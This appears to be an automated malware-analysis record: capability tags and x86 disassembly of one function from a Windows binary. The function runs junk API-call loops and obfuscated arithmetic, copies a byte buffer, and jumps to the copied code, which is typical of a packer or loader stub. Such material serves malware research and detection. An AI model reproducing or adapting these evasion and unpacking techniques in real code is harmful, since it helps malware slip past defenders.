Function at 0x403320
Capabilities:
Connect pipe
Contain obfuscated stackstrings
Get common file path
Get file attributes
Read pipe
Resolve function by parsing pe exports
Write pipe

Disassembly:
mov eax, dword [0x4c8034]
mov dword [0x4cb120], eax
jmp eax
mov eax, 0x14d8
call fcn.0040cf40
cmp dword [0x4cb12c], 0x6a6
jne 0x4033ef
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
call dword [sym.imp.USER32.dll_ArrangeIconicWindows]
push 0x30
lea eax, [esp + 0xac]
push 0
push eax
mov dword [esp + 0xb0], 0
call fcn.0040a420
add esp, 0xc
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0xa8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push 0x402cd8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
lea eax, [esp + 0xdc]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
lea ecx, [esp + 0x98]
call fcn.00404db2
lea ecx, [esp + 0x98]
call fcn.00404dc3
push 0
call fcn.00404f5c
push 0
call fcn.00404f2d
push 0
push 0
call fcn.00404f43
push 0
push 0
call fcn.00404f67
add esp, 0x18
push 0
call fcn.00405350
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.GDI32.dll_GetGlyphIndicesA]
xor esi, esi
jmp 0x403400
cmp esi, 0x4ac7
jge 0x403414
push 0
push 0
push 0
push 0
push 0
call edi
inc esi
cmp esi, 0xcc9b
jl 0x403400
mov eax, 0x11b1b
add dword [0x4cb12c], eax
call fcn.00403230
call fcn.00403250
xor eax, eax
cmp dword [0x4cb12c], eax
jbe 0x40345f
lea esp, [esp]
mov ecx, dword [0x4cbacc]
mov dl, byte [ecx + eax + 0x11b1b]
mov ecx, dword [0x4c8034]
mov byte [ecx + eax], dl
inc eax
cmp eax, dword [0x4cb12c]
jb 0x403440
mov esi, dword [sym.imp.KERNEL32.dll_FindAtomA]
mov edi, dword [sym.imp.USER32.dll_ValidateRect]
mov ebx, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [ecx]
mov edx, dword [0x4cb12c]
add edx, eax
cmp edx, 0xe
jne 0x4034ea
push 0
call esi
push 0
push 0
call edi
push 0
lea eax, [esp + 0x4ec]
push eax
push 0
push 0
push 0
push 0
call ebx
push 0
call ebp
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push 0x402cf8
lea ecx, [esp + 0xcf0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
lea edx, [esp + 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x10], eax
jl 0x403480
mov ebx, dword [sym.imp.USER32.dll_GetMenuInfo]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x4f4
push 0
push 0
call ebx
push 0
call edi
sub esi, 1
jne 0x403507
push 0
call edi
cmp esi, 0x26c0e8
jge 0x40392e
mov dword [esp + 0x68], 0x117e6468
mov dword [esp + 0x50], 0x5ffc7842
mov dword [esp + 0x8c], 0x47a693b8
mov dword [esp + 0x48], 0x2968d501
mov dword [esp + 0x88], 0x3b97d7ad
mov dword [esp + 0x7c], 0x1cdbd5a0
mov dword [esp + 0x9c], 0x48332d38
mov dword [esp + 0x78], 0x440c2a2d
mov dword [esp + 0x40], 0x12e9fd10
mov dword [esp + 0x94], 0xf744b0e
mov dword [esp + 0x58], 0xa9960a7
mov dword [esp + 0x24], 0x2f799e6c
mov dword [esp + 0x3c], 0x7847afe5
mov dword [esp + 0xa4], 0x4e4c16e5
mov dword [esp + 0x28], 0x4b60bfcf
mov dword [esp + 0x80], 0x11cf24ee
mov dword [esp + 0x98], 0x100b136a
mov dword [esp + 0x74], 0x16a8c798
mov dword [esp + 0x2c], 0x41990087
mov dword [esp + 0x18], 0x1a8d2583
mov dword [esp + 0x4c], 0x4be5576
mov dword [esp + 0x34], 0x20b6f116
mov dword [esp + 0x90], 0x1a4811b8
mov dword [esp + 0x5c], 0x48322249
mov dword [esp + 0x54], 0x1cbc86b9
mov dword [esp + 0x20], 0x197f1790
mov dword [esp + 0x70], 0x349917ff
mov dword [esp + 0x6c], 0x5038bf9
mov dword [esp + 0x14], 0x15607940
mov dword [esp + 0x60], 0x4350bc8e
mov dword [esp + 0xa0], 0x17fe5556
mov dword [esp + 0x10], 0x642ba827
mov dword [esp + 0x1c], 0x43e7302b
mov dword [esp + 0x64], 0x2e87bca9
mov dword [esp + 0x38], 0x5ac3e20
mov dword [esp + 0x44], 0x45663a5
mov dword [esp + 0x30], 0x4f04dee8
mov dword [esp + 0x84], 0x4de238b9
mov eax, 0x7b98fd8e
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
sub dword [esp + 0x8c], 0x6558cd47
add dword [esp + 0x8c], 0x694ee64c
add dword [esp + 0x50], 0x737efafa
mov eax, 0x699f0bc7
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
mov eax, 0x7083fff5
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
add dword [esp + 0x48], 0x3f105651
mov eax, 0x58bdf4a2
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
mov eax, 0x1496ce22
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
sub dword [esp + 0x8c], 0x35556f81
mov eax, 0x41c2f159
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x3ea4b095
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
sub dword [esp + 0x50], 0x5f1bc896
mov eax, 0x63fcad3b
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
sub dword [esp + 0x9c], 0x6c0a8592
add dword [esp + 0x68], 0x52d9bd7
mov eax, 0x5362c5c9
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
add dword [esp + 0x7c], 0x74d4a7ac
sub dword [esp + 0x9c], 0x6b9ab333
sub dword [esp + 0x58], 0x30cec4cc
sub dword [esp + 0x9c], 0x6f4dc03f
sub dword [esp + 0x88], 0x406511de
sub dword [esp + 0x58], 0x5256efce
add dword [esp + 0x24], 0x9d24a82
add dword [esp + 0x24], 0xb55bf10
mov eax, 0x6fadc23
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
sub dword [esp + 0x24], 0x2107bccb
mov eax, 0x43a1127f
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
add dword [esp + 0x94], 0x23f95553
mov eax, 0xfa50777
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
mov eax, 0x982e1f9
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
add dword [esp + 0x50], 0x6ff007ed
sub dword [esp + 0xa4], 0x2ca9ae19
add dword [esp + 0x8c], 0x2e67b4f9
add dword [esp + 0x94], 0x1ae532f6
add dword [esp + 0x58], 0x1b1cddec
add dword [esp + 0x28], 0x1843194b
sub dword [esp + 0x94], 0x4d0fd6ca
add dword [esp + 0x2c], 0x4c19438c
add dword [esp + 0x7c], 0x7555adb0
add dword [esp + 0x4c], 0x6e7262a2
mov eax, 0x226d3295
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
add dword [esp + 0x5c], 0x7d1e9162
mov eax, 0x27578fe4
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
mov eax, 0x2f90f5f3
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x74], 0x6b09171
sub dword [esp + 0x24], 0x6c846b8d
sub dword [esp + 0xa4], 0x2e2cab03
add dword [esp + 0x54], 0x19526782
add dword [esp + 0x34], 0x2cd8acc0
sub dword [esp + 0xa0], 0x47be2084
add dword [esp + 0x18], 0x6e73a756
sub dword [esp + 0x58], 0x4243819d
mov eax, 0x6583975
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
add dword [esp + 0x10], 0x1465568b
mov eax, 0x3df9edd8
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add dword [esp + 0x70], 0x44e853d4
sub dword [esp + 0x20], 0x702bf432
mov eax, 0x61576f3a
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
sub dword [esp + 0x9c], 0x3dac3a17
sub dword [esp + 0x88], 0x4f1fdc5c
mov eax, 0x76077062
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
cmp esi, 0x2735c9
jg 0x403943
inc esi
cmp esi, 0x15a24e60
jl 0x403516
call fcn.004031a0
call fcn.00403210
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov ebp, 0x7b
cmp dword [0x4cb12c], 0x86
jne 0x403996
push 0
call esi
push 0
lea eax, [esp + 0x18]
push eax
push 0
lea ecx, [esp + 0xf4]
push ecx
push 0
push 0
push 0
call edi
lea edx, [esp + 0x18]
push edx
push 0
call ebx
sub ebp, 1
jne 0x403964
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
mov ebp, 0x180ef
cmp dword [0x4cb12c], 0x1f
jne 0x4039de
push 0
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
call esi
push 0
push 0
call edi
push 0
push 0
lea ecx, [esp + 0xcf0]
push ecx
call ebx
sub ebp, 1
jne 0x4039b2
call fcn.00402ef0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14d8
jmp 0x403310